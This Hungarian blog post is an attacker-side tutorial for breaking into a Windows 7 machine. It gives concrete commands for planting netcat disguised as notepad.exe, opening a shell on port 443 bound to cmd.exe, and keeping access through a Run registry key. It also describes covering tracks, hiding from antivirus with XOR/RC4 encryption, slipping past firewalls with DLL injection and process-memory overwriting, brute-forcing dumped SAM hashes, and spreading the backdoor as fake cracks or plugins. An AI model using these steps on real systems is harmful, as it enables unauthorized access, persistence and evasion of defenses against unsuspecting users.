2018. március 23., péntek

Nézzünk egy egyszerű támadást 14_A

Legyen a megtámadott számítógép tulajdonosának neve Ali.
Tehát Ali gépéhez oda kell menni( és futtason egy windowxs 7-es operációs rendszer)
Otthon a támadó, nevezzük most Eve-nek letöltöte a netcat legújabb windows-os verzióját az internetről, rátette a maga kis penrivejára és bemásolta Ali egy tetszőleges mappájába
A fájlt rejteté tete, és a biztonság kedvéért átnevezte pl. notepad.exe-re Az eredmény az let,ha elindítják hogy a task managertben fut egy folyamat notepad.exe néven. De nem tudja Alice leállítani, mert a task manager az argv[0] alapján azonosítja a programokat, és a notepad.exe egy rendszerfájl lett ha így akarja futtatni mégpedig system jogokkal.
----------------------
Ezután Eve fogta magát és nyitott egy parancssort.
megkereste az átnevezet netcat elérési útját, és csinált egy úgynevezet reverse shell-t. Ezzel a parancsal:
notepad.exe -l -d 443 -e "cmd.exe"
Ezután a gonosz Eve mindig el szerette volna érni Alice gépét,emiatt létrehozott egy registry bejegyzést a gépen
HKEY_CURRENT_USER\\Software\\Microsot\\Windows\CurrentVersion\ run
Létrehozott egy új string bejegyzést notepad néven
értéke pedig
[az átnevezet elérési útú netcat] -l -d 443 -e "cmd.exe"
A szögletes zárojel nem kell csupán nem tom ki hova másolja a programot.
Ezzel elértük azt, hogy egy folyamat minden elinduláskor elindul. Ezen kívül Eve kinézte az ipconfig/all parancsal
Ali gépének belső ip címét.
Mikor végzet eltüntette nyomait:
azaz kitörölte magát a rescent documents-ből,kitörölte magát a tényt is hogy ő hozzácsatolta a pendrive-ot( magyarán törölt egy bizonyos registry kulcsot, ami a Default ágon található, azonban a regedit nem jeleníti meg), plusz elrejtette a task managerből is a programot, amit most nem árulok el, hogy kell)
Ezután visszament Eve a saját gépéhez
lefuttatot egy parancsot rajta
telnet [Ali gépének ip címe] 443
És kapot egy parancssori ablakot
Ezután ha akar csinálhat egy fájlt program.vbs néven így
edig program.vbs
Beírja az editorba:
Msgbox("Helló Ali most törtem fel a gépedet!!! HAHAHAHAHA")
elmenti a fájlt
és lefuttatja
cscript program.vbs
Ekkor ha nem rontotam el a cscript paraméterezését, akkor lefut a program.vbs, ami létrehozott egy MessageBox-ot a Ali gépén és kiírta, a "Hello Ali most törtem fel a gépedet HAHAHAHAHA" szöveget a képrnyőjére.
Ekkor persze Ali szól Bobnak a rendszergazdának, aki egyetlen programmal megmondhatja, hogy bizony Eve törte fel a gépét, bár nyomot arra nem fog találni, hogy hogyan került be a nc a gépbe, de nem fogja tudni bezárni.

Ez egy szép kis módszer, de ez csak elmélet volt

Gyakorlatban:
-az netcat-et mára a legenyhébb vírusírtó is megtalálja. Ennek elkerülése véget Eve-nek lehetősége van xorolással és egy RC4 kulcs alkalmazásával titkosítani a netcat-et, így nem biztos meg fogja találni a vírusírtó Ki kell próbálni többféle kulcsot, többféle titkosítási módszert, előbb utóbb biztosan talál egy megfelelő kulcsot és módszert.
Az öntitkosító/önmódosító vírusokat csak assamblyben lehet írni, de mivel a netcat kódja nyílt is meg lehet próbálni onnan is módosítani.

-a tűzfal: na most ez a nem mind1 tényező: ugyanis port alapű tűzfalakra jó a parancs, hogy kiengedtem a 443-as porton a programot, de mára az összes tűzfal figyeli, hogy melyik alkalmazás megy ki a netre/hálózatra, és a netcat-ünk tuti nem lesz kint. Így vagy engedélyezzük( már ha van jogunk hozzá), vagy valamilyen egyébként is kiengedett alkalmazás kódjába másoljuk be a netcat-et.
Erre vannak módszerek:
-a DLL injekció(ennek is két fajtája van, ezt nem részletezném): pl. az internet explorer egyik dll-jébe beletesszük a netcat kódját megfelelően már a kódban felparaméterezzük, az internet explorer tuti ki van engedbve, és ha ezt és a titkosítást alklamazzuk, akkor nem fog meg a tűzfal ez olyan 90%
-A WriteProcessMemory függvény használata keresni az internet exploreben egy jó nagy stacket, amibe belefér az alaklmazásunk beleírjuk, ezután megkeressük tömböt meghívó függvény EIP regiszterét, és felülírjuk a saját programunk kezdő memóriacímének. Ez megint marhára nem egyszerű, de nem lehetetlen hogy valaki megcsinálja( persze mindkettő végrehajtásához eleve rendszergazdának kell lenni a gépen, vagy pedig kernel módból kell "kérni" egy handle-t az alkalmazásunkhoz. Ehhez valahogy megint rendszergazdai jogokat kell szerezni. De akkor már egyszerűbb kiengedni a tűzfallal, előnye a fenti kettő megoldásnak, hogy nem nagyon marad nyoma, sőt egyáltalán nem fog látszódni. Valamint a rendszergazdai jogok szerzése:
hát erre lehet alkalmazni különdféle overflow-okat( pl. , ha nincs jól frissítve a rendszer akkor nagy az esély rá, ha viszont jól frissítet, akkor is van rá módszer( pl. kidumpolni a SAM hive-ot,és egy nagyobb teljesítményű gépen, vagy netalán több nagyobb teljesítményű gépen, megpróbálni visszafejteni, ha nem túl bonyolult a jelszó, akkor vissza lehet fejteni a kódot megfelelő programmal brute-force alapon)
Végezetül: Az igazi hacker valahogy bejuttatja netcat-et a célszámítógép gépébe. Az egyik lehetőség: Socail Engeneering. Vagyis kitesz egy programot, a netre, hogy ez a pl. Crysis 3 crackje, vagy a windows 8-ra egy keygen, vagy egyszerűen egy weboldalon kiteszi, hogy az oldal megtekintéséhez egy plugin szükséges( ami az ő kódját tartalmazza), 100-ból 50 ember tui le fogja tölteni, illetve telepíteni fogja a tök ismeretlen plugint is.A másik lehetőség: pl. az internet explorerben, vagy egy más böngészőben, vagy egy a célszámítógépen használ keres egy stack vagy heap overflow-t, csinál rá egy exploitot, és payloadként bejutatja a saját netcat-jét. És ismét átvete az irányítást a gép felett. Persze mindezek előtt végigpróbálja a nagyobb exploit adatbázisokat, hogy hátha nincs frissítve az operációs rendszer. És a gyakorlatban nem a netcat-et használják, hanem annak egy módosított változatát a cryptonetcat-et, ami titkosítotan küldi ki az adatokat, de van olyan verzió is láncolt proxykon keresztül csatlakozik a célszámítógéphez és korszerű szteagnofráfiát is használ a kommunikáció elrejtésére.
Pl. netcat ezen veriója képfájlokat küld ki a netre, illetve fogad. A képek tök átlagosak, bár ha valaki megnézi képek kódját, annak bizonyos bítjeiben értelemes utasítás sorozatot talál, és nem biztos, sőt nagyon nem biztos, hogy a tűzfal, vagy a behatolásellenörző rendszer(IDS) észlelni fog bármit is. Hiszen egy kép mérete biztosan nagyobb mint 64 kilobyte, ekkor hiába nézi az IDS a csomagok valid értékeit nem fogja észrevenni, hogy illegális kommunikáció zajlik, hiszen a több csomagból álló képeket előbb össze is kéne rakni, ez pedig sok memóriát igényelne, tehát az IDS ilyet nem fog csinálni, a tűzfal meg főleg nem, mert nem erre való.

Nincsenek megjegyzések:

Megjegyzés küldése